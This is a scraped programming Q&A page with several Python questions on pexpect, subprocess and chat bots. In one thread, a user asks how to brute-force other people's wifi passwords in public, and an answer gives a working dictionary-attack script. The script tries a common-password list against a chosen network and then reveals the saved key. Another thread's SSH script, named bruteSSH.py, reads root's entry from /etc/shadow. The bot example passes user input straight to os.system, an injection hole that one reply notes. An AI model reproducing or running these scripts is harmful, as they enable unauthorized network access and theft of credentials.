Pexpect function works randomly - python

import pexpect, re
def create_group(groupname, password):
orden = "sudo addgroup " + groupname
child = pexpect.spawn("sudo addgroup " + nombre_grupo)
expectation = child.expect(['password',pexpect.EOF pexpect.TIMEOUT])
if expectation == 0:
child.sendline(password)
else:
print("Error")
create_group("aname", "myrootpassword")
When I execute this function sometimes it works and most of the times it fails.
I don't get any error but always the password is sent. Why?

Related

The If else statement for Python's subprocess doesn't seem to work

I created a simple script to locate a user on the local machine. Despite entering any characters in the input box, the answer remains the same. I am grateful for any assistance.
#!/usr/bin/python
import subprocess
user = input("Enter username : ")
result = subprocess.getoutput("getent passwd" + user)
if result:
print(("found "+user+" user in this system."))
else:
print((""+user+" is not found..."))
this is because in the concatination, it should be a space that separates the database and the key:
#!/usr/bin/python
import subprocess
user = input("Enter username : ")
result = subprocess.getoutput("getent passwd " + user) #added space after 'passwd'
if result:
print(("found "+user+" user in this system."))
else:
print((""+user+" is not found..."))
also, the double parentheses are uneccessary.
#!/usr/bin/python
import subprocess
user = input("Enter username : ")
result = subprocess.getoutput("getent passwd " + user) #added space after 'passwd'
if result:
print("found "+user+" user in this system.")
else:
print(user+" is not found...")

How to Brute Force a wifi Password with python?

When I’m in public I want to have access to the internet, so I’ve been writing a script to find wifi passwords for a while now. I found a way like “dictionary attack” that I don’t like.
I found a script on the internet to connect to wifi using python:
import os
import platform
import getpass
y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
if platform.system() == "Windows":
command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli con up "+SSID
os.system(command)
def displayAvailableNetworks():
if platform.system() == "Windows":
command = "netsh wlan show networks interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli dev wifi list"
os.system(command)
try:
displayAvailableNetworks()
option = input("New connection (y/N)? ")
if option == n or option == N:
name = input("Name: ")
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
elif option == y or option == Y:
name = input("Name: ")
key = getpass.getpass("Password: ")
createNewConnection(name, name, key)
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
print("\nExiting...")
You have to enter the password yourself in this script.
In this line
key = getpass.getpass ("Password:")
I should switch "Password:" with variable that the script would try to search for until it is successful...
I found a script to find the password and completed it. The only problem is that in this script the program knows the value of the password. With each attempt, he can check if it matches the correct password.
import itertools
import string
def guess_password(real):
chars = string.ascii_lowercase + string.digits
attempts = 0
for password_length in range(8, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
guess = ''.join(guess)
if guess == real:
return 'password is {}. found in {} guesses.'.format(guess, attempts)
print(guess, attempts)
print(guess_password('abc'))
I should connect these two scripts but I don't know how. It is not clear to me how to find the value of a variable that is unknown- (password).
I would be very happy if someone could explain the above problem to me. I’m new to these things and they’re not the clearest to me. Thanks for the reply
what we think is not always right. the already in market attack tools use a completely different approach to attack and gain access.They use the handshakes to match the pass with the actual passkey and this is how they validate if it is correct or not.
You are using a very naive way and this would hardly work.Look at the complexity of this program and lets assume you try 1000000 different key. the code would run forever.
Research more learn about handshakes decryption.
I know i am late for this but i found another way that might work using your code.
It tries common passwords from a .txt file i got from gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
Here is the code.
import os
import platform
import time
import requests
url = "http://www.python.org"
timeout = 5
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")
def displayAvailableNetworks():
os.system("netsh wlan show networks interface=Wi-Fi")
print("[LOADING] Searching if connected to any network")
try:
request = requests.get(url, timeout=timeout)
print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
connected = True
while connected:
try:
displayAvailableNetworks()
WIFI = input("WIFI Name: ")
with open("Brute Force\passwords.txt", "r") as f:
for line in f:
words = line.split()
if words:
print(f"Password: {words[0]}")
createNewConnection(WIFI, WIFI, words[0])
connect(WIFI, WIFI)
try:
request = requests.get(url, timeout=timeout)
connected = False
choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
if choice == "y":
print("\n[EXITING] Operation canceled")
exit()
elif choice == "n":
print("\n[-] Operation continues\n")
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
print("[+] Operation complete")
choice = input("See WIFI Information (y/N) ? ")
if choice == "y" or "Y":
print(f"[LOADING] Searching for {WIFI} network")
time.sleep(1)
os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
exit()
elif choice == "n" or "N":
print("\n[EXITING] Exiting program...")
time.sleep(2)
exit()
except KeyboardInterrupt as e:
print("\n[[EXITING] Aborting program...")
exit()

Python Pexpect Attribute error. 'NoneType' has no attribute 'sendline'

Writing a script using Pexpect to connect via ssh but it is throwing an attribute error.
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ', '~# ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before, child.after
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr = 'ssh ' + user + '#' + host
child = pexpect.spawn(connStr)
ret = child.expect([ssh_newkey, 'password:'])
if ret == 0:
print '[-] Error Connecting'
return
elif ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'test.rebex.net'
user = 'demo'
password = 'password'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()
I am getting the following error:
[-] Error Connecting
Traceback (most recent call last):
File "./bruteSSH.py", line 33, in <module>
main()
File "./bruteSSH.py", line 31, in main
send_command(child, 'cat /etc/shadow | grep root')
File "./bruteSSH.py", line 6, in send_command
child.sendline(cmd)
AttributeError: 'NoneType' object has no attribute 'sendline'
I believe it has something to do with my child object being a 'NoneType' but I am not able to pin down what I am doing wrong.
You don't return a value on a couple of conditions. That's where you're getting your None and what is causing your error. See the commented lines below:
if ret == 0:
print '[-] Error Connecting'
return # THIS WILL CAUSE YOUR ERROR
elif ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret == 0:
print '[-] Error Connecting'
return # THIS WILL ALSO CAUSE YOUR ERROR
But your logic is flawed anyway. Expect returns a 0 or the index of the match if you pass it an array. In your code, your passing it an array. So a return value of a 0 indicates that it successfully matched your first entry-- the "Are you sure" condition. If you match that you'd want to send the "yes". Below is more what I think you're after...
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ', '~# ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before, child.after
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr = 'ssh ' + user + '#' + host
child = pexpect.spawn(connStr)
ret = child.expect(['password:', ssh_newkey])
if ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret != 0:
print '[-] Error Connecting'
return # THIS WILL RETURN A NONE SO YOU SHOULD CHECK FOR IT. SHOULD EXPLICITLY DO A return None TO MAKE IT CLEARER
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'localhost'
user = 'demo'
password = 'password'
child = connect(user, host, password)
if child is not None:
send_command(child, 'cat /etc/shadow | grep root')
else:
print "Problem connecting!"
if __name__ == '__main__':
main()
First of all your indentation is wrong on the 6 line.
It's causing this error because the child object has not been setup yet properly and connected successfully.
If this is exactly your code then the problem is that "child.sendline()" is executed outside the function whereas child is a local variable inside the function "send_command"
so globally the child variable has not yet been defined
The problem is right in front of you. When you encounter an error in the connect function as you are as shown by the "[*] Error Connection" print statement, you return nothing. Only if the connection was successful it returns the child object, but as the connection failed you return a "Null Object" and exit out of your function. You are not able to make a successful connection and hence the child object is never returned to your "child" Variable in your main Function.
And you pass this same "Null Object" to your send_command() and hence does not work
import sys
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr = 'ssh ' + user + '#' + host
child = pexpect.spawn(connStr)
ret = child.expect([ssh_newkey, 'password:'])
if ret == 0:
print '[-] Error Connecting'
sys.exit()
elif ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret == 0:
print '[-] Error Connecting'
sys.exit()
child.sendline(password)
child.expect(PROMPT)
return child
Now your program will only proceed if the connection was successful.
Maybe the expects and password maybe wrong, the overall problem is you are not able to make a successful connection

Skype4py !command with arguments

I currently have a skypebot which replies to commands and pings websites when I use the following code:
if Status == 'SENT' or (Status == 'RECEIVED'):
if Message.Body.lower() == '!ping google':
ping = os.system("ping google.com")
if ping == 0:
Message.Chat.SendMessage("Online!")
else:
Message.Chat.SendMessage('Offline!')
This works and if the website is online it will display Online! in chat. However, it requires me to define the website before hand. I have searched for a good few hours now to try to find how I would make it so I can do !ping [website] and allow for the user at any time to use whatever website they want. Any ideas?
I would do something like this:
body = Message.Body
if body.startswith('!'):
parts = body.split() # ['!ping', 'google.com']
command = parts[0][1:] # 'ping'
result = commands[command](*parts[1:]) # Calls `ping` with 'google.com'
Message.Chat.SendMessage(result) # Prints out the resulting string
Now, you can define simple functions:
def ping(url):
if os.system("ping " + url) == 0:
return 'Online!'
else:
return 'Offline!'
And add them to a commands dictionary:
commands = {
'ping': ping
}
os.system() is insecure if you're expecting arbitrary user input, so I'd use subprocess.Popen instead (or just try connecting to the website with just Python).
I have a SkypeBot I made as well.
I use http://www.downforeveryoneorjustme.com/
I do it this way:
Functions.py
def isUP(url):
try:
source = urllib2.urlopen('http://www.downforeveryoneorjustme.com/' + url).read()
if source.find('It\'s just you.') != -1:
return 'Website Responsive'
elif source.find('It\'s not just you!') != -1:
return 'Tango Down.'
elif source.find('Huh?') != -1:
return 'Invalid Website. Try again'
else:
return 'UNKNOWN'
except:
return 'UNKNOWN ERROR'
And for commands.py
elif msg.startswith('!isup '):
debug.action('!isup command executed.')
send(self.nick + 'Checking website. Please wait...')
url = msg.replace('!isup ', '', 1)
url = functions.getCleanURL(url)
send(self.nick + functions.isUP(url))
Of course with "import functions" in the commands.py file.
I'm sure you can alter this a bit to work to check a website's status for your bot as well.
Good luck :)

python pexpect will not work with a dynamic value

So I've got a program that will ssh on to a remote server and start an iperf sever of that end.
When thats running it will iperf that sever from the client side.
It works fine when I give the IP address statically for example:
p=pexpect.spawn('ssh -t -x paddy#20.20.20.20 ' + iperf)
But not when I use:
p=pexpect.spawn('ssh -t -x paddy#'+ADDRESS+' ' + iperf)
I get a:
'pexpect.TIMEOUT'
ADDRESS is definitely going in correctly.
Any one have any ideas about whats going wrong?
#!/usr/bin/env python
import pexpect
import re
import shutil
import getpass
import struct, fcntl, os, sys, signal, time
def start_Server(iperf, password, ADDRESS):
ssh_newkey = 'Are you sure you want to continue connecting'
fix = ADDRESS+' ' + iperf
p=pexpect.spawn('ssh -t -x paddy#'+ fix)
i=p.expect([ssh_newkey,'password:',pexpect.EOF,pexpect.TIMEOUT],1)
if i==0:
print "I say yes"
p.sendline('yes')
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i==1:
pwtp = False
trysout = True
while pwtp == False:
trysout = True
p.sendline(password)
loginStuff=p.expect(['Permission denied, please try again.','Permission denied (publickey,password).', '------------------------------------------------------------', pexpect.TIMEOUT,pexpect.EOF],1)
if loginStuff == 0:
password = getpass.getpass("Please enter "+ADDRESS+"'s Password")
elif loginStuff == 1:
print 'Sorry but you faild to login'
sys.exit(0)
pwtp = True
trysout = False
elif loginStuff == 2:
pwtp = True
i=3
elif loginStuff == 4:
pwtp = True
pass
else:
pass
elif i==2:
print "I either got key or connection timeout"
pass
elif i==4:
print "I either got key or connection timeout"
pass
if i==3: #timeout
print fix
print ADDRESS
print 'we find outselfs in a timeout'
print i
pass
return p, password
def RepresentsInt(s):
try:
int(s)
return True
except ValueError:
return False
var = raw_input("Enter the destination IP address: ")
ADDRESS = var
password = getpass.getpass("Please enter "+ADDRESS+"'s Password")
t, password = start_Server('iperf -s', password, ADDRESS)
u, password = start_Server('iperf -u -s', password, ADDRESS)
print ADDRESS
p=pexpect.spawn('ssh -t -x paddy#20.20.20.20 iperf -u -s')
ssh_newkey = 'Are you sure you want to continue connecting'
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i == 0:
print ssh_newkey
elif i == 1:
print 'password:'
elif i == 2:
print pexpect.EOF
else:
print 'Sorry what!?'
print i
It worked when I took the pexpect ssh out of the subroutine.

Categories

Resources